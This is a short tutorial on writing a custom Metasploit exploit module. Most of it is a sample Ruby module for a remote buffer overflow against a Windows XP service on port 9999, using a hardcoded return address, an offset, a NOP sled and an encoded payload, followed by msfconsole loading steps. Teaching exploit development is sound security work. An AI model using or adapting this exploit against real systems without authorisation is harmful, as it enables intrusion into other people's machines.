09. Metasploit Writing a Custom Metasploit Module

Writing a Custom Metasploit Module

Creating a custom exploit module in Metasploit allows you to add functionality tailored to specific targets.

Steps to Create a Custom Module

1. Navigate to Metasploit Custom Modules Directory:

   mkdir -p ~/.msf4/modules/exploits/custom
   cd ~/.msf4/modules/exploits/custom
   

2. Create a Ruby File: Create a file, e.g., custom_exploit.rb:

   nano custom_exploit.rb
   

3. Write the Exploit Code: Here's a basic example for a buffer overflow exploit:

   class MetasploitModule < Msf::Exploit::Remote
     Rank = ExcellentRanking
   
     include Msf::Exploit::Remote::Tcp
   
     def initialize(info = {})
       super(update_info(info,
         'Name'           => 'Custom Buffer Overflow Exploit',
         'Description'    => %q{
           This is a sample custom Metasploit module for educational purposes.
         },
         'Author'         => [ 'Your Name' ],
         'License'        => MSF_LICENSE,
         'Platform'       => 'win',
         'Targets'        => [
           ['Windows XP', { 'Ret' => 0x7E429353, 'Offset' => 260 }]
         ],
         'DefaultTarget'  => 0))
   
       register_options(
         [
           Opt::RHOST,
           Opt::RPORT(9999)
         ])
     end
   
     def exploit
       connect
       print_status("Sending payload...")
       buffer = "A" * target['Offset']
       buffer << [target['Ret']].pack('V')
       buffer << make_nops(32)
       buffer << payload.encoded
       sock.put(buffer)
       handler
       disconnect
     end
   end
   

4. Load the Custom Module:

5. Start msfconsole.
6. Reload modules:

   reload_all
   

7. Use the custom exploit:

   use exploit/custom/custom_exploit
   

8. Test and Debug: Test your module against a vulnerable application in a controlled environment.

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